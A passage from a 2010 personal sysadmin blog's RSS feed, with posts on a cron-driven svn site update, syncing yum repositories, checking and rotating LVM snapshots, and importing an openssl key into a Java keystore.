&lt;p&gt;Now... the last step... create a crontab entry with the following content:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;*/1&amp;#160;*&amp;#160;*&amp;#160;*&amp;#160;* /home/pieter/scripts/svn-update.sh /sites/dev.adslweb.net 2&amp;gt;&amp;amp;1 &amp;gt; /dev/null&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&amp;#160;And guess... and it works like a charm, on every new commit done by whoever... you get your online site updated within 1 minute without the need log in into the website/webserver using ftp/ssh/whatever.&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Wed, 04 Aug 2010 19:54:30 +0200</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/280/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>
<item>
    <title>More flexible yum-repo sync script</title>
    <link>http://blog.adslweb.net/serendipity/article/279/More-flexible-yum-repo-sync-script</link>
    
    <comments>http://blog.adslweb.net/serendipity/article/279/More-flexible-yum-repo-sync-script#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=279</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=279</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;p&gt;In the past I started syncing every night the Updates-repositories from Fedora and CentOS on a local server, just to speed up updates/kick starts et cetera... The first version of the script was very quick and dirty, now I&#039;ve a more decent script that allow you to add/remove very quick new versions of CentOS and Fedora.&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;&amp;#160;You can find the script &lt;a href=&quot;http://bit.ly/90rRpP&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Tue, 01 Jun 2010 08:30:40 +0200</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/279/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>
<item>
    <title>How full are your snapshot volumes in LVM?</title>
    <link>http://blog.adslweb.net/serendipity/article/278/How-full-are-your-snapshot-volumes-in-LVM</link>
    
    <comments>http://blog.adslweb.net/serendipity/article/278/How-full-are-your-snapshot-volumes-in-LVM#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=278</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=278</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;p&gt;As I mentioned in my previous post, which is already 2 months old :(, I&#039;m using snapshots for data retention.&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Now I run up in the situation, that I wanted to know how &lt;strong&gt;full&lt;/strong&gt; the snapshots are. A &#039;normal&#039; &lt;font face=&quot;courier new,courier,monospace&quot;&gt;df&lt;/font&gt; will not work... but I figured it out! The command &lt;font face=&quot;courier new,courier,monospace&quot;&gt;lvs&lt;/font&gt; is willing to do the work:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;# lvs --aligned --separator \| vol_backup&lt;br /&gt;&amp;#160; LV&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; |VG&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; |Attr&amp;#160; |LSize |Origin|Snap% |Move|Log|Copy% |Convert&lt;br /&gt;&amp;#160; lvm0&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; |vol_backup|owi-ao|40.00G|&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; |&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; |&amp;#160;&amp;#160;&amp;#160; |&amp;#160;&amp;#160; |&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; |&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;br /&gt;&amp;#160; snap-20100412_2350|vol_backup|swi-a-| 4.00G|lvm0&amp;#160; | 23.71|&amp;#160;&amp;#160;&amp;#160; |&amp;#160;&amp;#160; |&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; |&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;br /&gt;&amp;#160; snap-20100413_2350|vol_backup|swi-a-| 4.00G|lvm0&amp;#160; | 21.70|&amp;#160;&amp;#160;&amp;#160; |&amp;#160;&amp;#160; |&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; |&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;br /&gt;&amp;#160; snap-20100414_2350|vol_backup|swi-a-| 4.00G|lvm0&amp;#160; | 19.52|&amp;#160;&amp;#160;&amp;#160; |&amp;#160;&amp;#160; |&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; |&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;br /&gt;&amp;#160; snap-20100415_2350|vol_backup|swi-a-| 4.00G|lvm0&amp;#160; | 17.53|&amp;#160;&amp;#160;&amp;#160; |&amp;#160;&amp;#160; |&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; |&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;br /&gt;&amp;#160; snap-20100416_2350|vol_backup|swi-a-| 4.00G|lvm0&amp;#160; | 15.54|&amp;#160;&amp;#160;&amp;#160; |&amp;#160;&amp;#160; |&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; |&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;br /&gt;&amp;#160; snap-20100417_2350|vol_backup|swi-a-| 4.00G|lvm0&amp;#160; | 13.56|&amp;#160;&amp;#160;&amp;#160; |&amp;#160;&amp;#160; |&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; |&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;br /&gt;&amp;#160; snap-20100418_2350|vol_backup|swi-a-| 4.00G|lvm0&amp;#160; | 11.56|&amp;#160;&amp;#160;&amp;#160; |&amp;#160;&amp;#160; |&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; |&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;br /&gt;&amp;#160; snap-20100419_2353|vol_backup|swi-a-| 4.00G|lvm0&amp;#160; |&amp;#160; 9.02|&amp;#160;&amp;#160;&amp;#160; |&amp;#160;&amp;#160; |&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; |&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;br /&gt;&amp;#160; snap-20100420_2353|vol_backup|swi-a-| 4.00G|lvm0&amp;#160; |&amp;#160; 6.76|&amp;#160;&amp;#160;&amp;#160; |&amp;#160;&amp;#160; |&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; |&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;br /&gt;&amp;#160; snap-20100421_2350|vol_backup|swi-a-| 4.00G|lvm0&amp;#160; |&amp;#160; 2.79|&amp;#160;&amp;#160;&amp;#160; |&amp;#160;&amp;#160; |&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; |&amp;#160; &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;
&lt;p&gt; &lt;/p&gt;&lt;br /&gt;
&lt;p&gt;In the &#039;&lt;strong&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;Snap%&lt;/font&gt;&lt;/strong&gt;&#039; column you can see how full your snapshot volume is!&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Thu, 22 Apr 2010 08:29:38 +0200</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/278/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>
<item>
    <title>Creating Snapshots of a backup using LVM snapshot</title>
    <link>http://blog.adslweb.net/serendipity/article/277/Creating-Snapshots-of-a-backup-using-LVM-snapshot</link>
            <category>Herakles</category>
            <category>Linux/Unix/BSD</category>
            <category>Security</category>
            <category>Work</category>
    
    <comments>http://blog.adslweb.net/serendipity/article/277/Creating-Snapshots-of-a-backup-using-LVM-snapshot#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=277</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=277</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;p&gt;Normally I used to have a backup-retention-script in place that will create a TAR-ball of the backup data (using &lt;a target=&quot;_blank&quot; href=&quot;http://adslweb.net/tools/herakles&quot;&gt;Herakles&lt;/a&gt;). But this way I was not able to have a retention of longer then 3 days &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/sad.png&quot; alt=&quot;:-(&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt; &lt;/p&gt; &lt;br /&gt;
&lt;p&gt;So I had to look into another solution, I could add a new harddrive in the server... but there should be something else possible. So I ended up by using LVM snapshots. So I created a Volume group of about 100GB. In that volume group I created a logical volume of about 30GB, which is enough (and if not, we can &#039;grow&#039; the Filesystem thanks to LVM &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt; )&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;After having all that done, I&#039;ve created a script located in /root/scripts/lvm-snapshot. This script runs every midnight and creates a snapshot.&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font size=&quot;1&quot; face=&quot;courier new,courier,monospace&quot;&gt;#!/bin/bash&lt;br /&gt;#&lt;br /&gt;# Create LVM Snapshots&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;#---------------------------------------------------------------------------------------------------------------&lt;br /&gt;CURRENT_SNAPNAME=&amp;quot;snap-&amp;quot;$(date &amp;quot;+%Y%m%d%H%M%S&amp;quot;)&lt;br /&gt;VOLUME2SNAPSHOT=&amp;quot;/dev/vol_backup/lvm0&amp;quot;&lt;br /&gt;LVMSNAPSHOTCMD=&amp;quot;/usr/sbin/lvcreate -L 2G -s -n $CURRENT_SNAPNAME $VOLUME2SNAPSHOT&amp;quot;&lt;br /&gt;LINE=&amp;quot;---------------------------------------------------------------------------------------------------------------------&amp;quot;&lt;br /&gt;&lt;br /&gt;echo $LINE&lt;br /&gt;df -h /mnt/data&lt;br /&gt;echo $LINE&lt;br /&gt;$LVMSNAPSHOTCMD 2&amp;gt; /dev/null&lt;br /&gt;#---------------------------------------------------------------------------------------------------------------&lt;br /&gt;SNAPSHOT_RETENTION=15&lt;br /&gt;CURRENT_SNAPSHOT_COUNT=$(lvdisplay | grep &amp;quot;^&amp;#160; LV Name&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; /dev/vol_backup/snap&amp;quot; | sort | awk &#039;{ print $3 }&#039; | wc -l)&lt;br /&gt;&lt;br /&gt;OVERFLOW=$(echo $CURRENT_SNAPSHOT_COUNT - $SNAPSHOT_RETENTION | bc)&lt;br /&gt;if [ $OVERFLOW -gt 0 ];&lt;br /&gt;then&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; echo $LINE&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; for files in&amp;#160; $(lvdisplay | grep &amp;quot;^&amp;#160; LV Name&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; /dev/vol_backup/snap&amp;quot; | sort | awk &#039;{ print $3 }&#039; | head -n$OVERFLOW);&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; do&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; /usr/sbin/lvremove -f $files 2&amp;gt; /dev/null&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; done&lt;br /&gt;fi&lt;br /&gt;#---------------------------------------------------------------------------------------------------------------&lt;br /&gt;echo $LINE&lt;br /&gt;/usr/sbin/vgdisplay vol_backup&lt;br /&gt;echo $LINE&lt;br /&gt;/usr/sbin/lvdisplay $VOLUME2SNAPSHOT&lt;/font&gt;&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;And the crontab entry is:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font size=&quot;1&quot; face=&quot;courier new,courier,monospace&quot;&gt;# crontab -l&lt;br /&gt;0 0 &lt;strong&gt; &lt;/strong&gt; * /root/scripts/lvm-snapshot&lt;/font&gt; &lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Mon, 22 Feb 2010 09:18:43 +0100</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/277/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>
<item>
    <title>Import private key and (signed) certificate into Java keystore (JKS)</title>
    <link>http://blog.adslweb.net/serendipity/article/276/Import-private-key-and-signed-certificate-into-Java-keystore-JKS</link>
    
    <comments>http://blog.adslweb.net/serendipity/article/276/Import-private-key-and-signed-certificate-into-Java-keystore-JKS#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=276</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=276</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;p&gt;Last monday, I had to &#039;secure&#039; the &lt;strong&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&lt;a href=&quot;http://docs.sun.com/app/docs/doc/816-5166/smcwebserver-1m?a=view&quot; target=&quot;_blank&quot;&gt;smcwebserver&lt;/a&gt;&lt;/font&gt;&lt;/strong&gt; from Sun (or should I say Oracle?), that is used by &lt;a href=&quot;http://arco.sunsource.net/&quot; target=&quot;_blank&quot;&gt;ARCo&lt;/a&gt;. But I run into a few issues:&lt;/p&gt; &lt;br /&gt;
&lt;ol&gt; &lt;br /&gt;
&lt;li&gt;My lack of knowledge about Java;&lt;/li&gt; &lt;br /&gt;
&lt;li&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&lt;strong&gt;Keytool&lt;/strong&gt;&lt;/font&gt; doesn&#039;t allow you to import keys generated by tools like &lt;strong&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;openssl&lt;/font&gt;&lt;/strong&gt; &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/sad.png&quot; alt=&quot;:-(&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/li&gt; &lt;br /&gt;
&lt;/ol&gt; &lt;br /&gt;
&lt;p&gt;But... I was able to handle them both and know I have an &lt;font face=&quot;courier new,courier,monospace&quot;&gt;&lt;strong&gt;smcwebserver&lt;/strong&gt;&lt;/font&gt; (which is using Java-keystores) running with a key that was generated by &lt;font face=&quot;courier new,courier,monospace&quot;&gt;&lt;strong&gt;openssl&lt;/strong&gt;&lt;/font&gt; and a certificated signed by our enterprise CA.&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;There for I had to do some Java &#039;hacking&#039;. After some hours spending on Google-searches, I landed on a posting on the website of &#039;&lt;a href=&quot;http://www.agentbob.info/agentbob/79-AB.html&quot; target=&quot;_blank&quot;&gt;Agent Bob&lt;/a&gt;&#039;. He has some &lt;a href=&quot;http://www.agentbob.info/agentbob/80/version/default/part/AttachmentData/data/ImportKey.java&quot; target=&quot;_blank&quot;&gt;Java-program&lt;/a&gt; that allows you to &#039;import&#039; keys and certificates that were generated outside &lt;strong&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;keytool &lt;/font&gt;&lt;/strong&gt;&lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Although, I had to perform some minor modification on the Java-code, to set the password of the new JKS to &#039;&lt;strong&gt;changeit&lt;/strong&gt;&#039;, because that is what smcwebserver will try to open the keystore. So, you need to make sure that line 87 is:&lt;font size=&quot;3&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;String keypass = &amp;quot;changeit&amp;quot;;&lt;/font&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;For your convenience you can &lt;a href=&quot;http://www.xs4all.nl/%7Epaderijk/pics/ImportKey.java&quot; target=&quot;_blank&quot;&gt;download&lt;/a&gt; the modified version &lt;a href=&quot;http://www.xs4all.nl/%7Epaderijk/pics/ImportKey.java&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;.&lt;/p&gt; &lt;br /&gt;
&lt;p&gt; Now, create a Java class with the command (please note, I&#039;m not a Java-specialist, so something else will work as well... but this worked for me &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/wink.png&quot; alt=&quot;;-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt; ):&lt;br /&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;$ javac ImportKey.java &lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Having this done, you must make sure, your key-file and (signed) certificate are in the DER format. If they are not, you can convert them using the following commands:&lt;br /&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;$ openssl pkcs -topk8 \&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; -nocrypt \&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; -in server.key \&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; -out server.key.der \&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; -outform der&lt;br /&gt;&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt; &lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;$ openssl x509 -in server.crt \&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; -out server.crt.der \&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; -outform der&lt;/font&gt; &lt;/p&gt; &lt;br /&gt;
&lt;p&gt; &lt;/p&gt; &lt;br /&gt;
&lt;p&gt;We can import the keys with the Java-program:&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;&lt;br /&gt;&lt;br /&gt;$ java ImportKey server.key.der server.crt.der webconsole&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p class=&quot;wiki&quot;&gt;And last, but not least, put the keystore in place (and of course we make sure we&#039;ve a backup of the old one):&lt;br /&gt;&lt;br /&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;# cp /var/opt/webconsole/domains/console/conf/&lt;span class=&quot;searchword0&quot;&gt;keystore&lt;/span&gt;.jks{,.backup}&lt;br /&gt;# cp $HOME/keystore.ImportKey /var/opt/webconsole/domains/console/conf/keystore.jks&lt;/font&gt;&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Now we have to restart the smcwebserver:&lt;/p&gt; &lt;br /&gt;
&lt;p class=&quot;wiki&quot;&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt;# smcwebserver stop&lt;br /&gt;# smcwebserver start&lt;/font&gt;&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;That&#039;s all &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Thu, 28 Jan 2010 08:25:57 +0100</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/276/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>

</channel>
</rss>
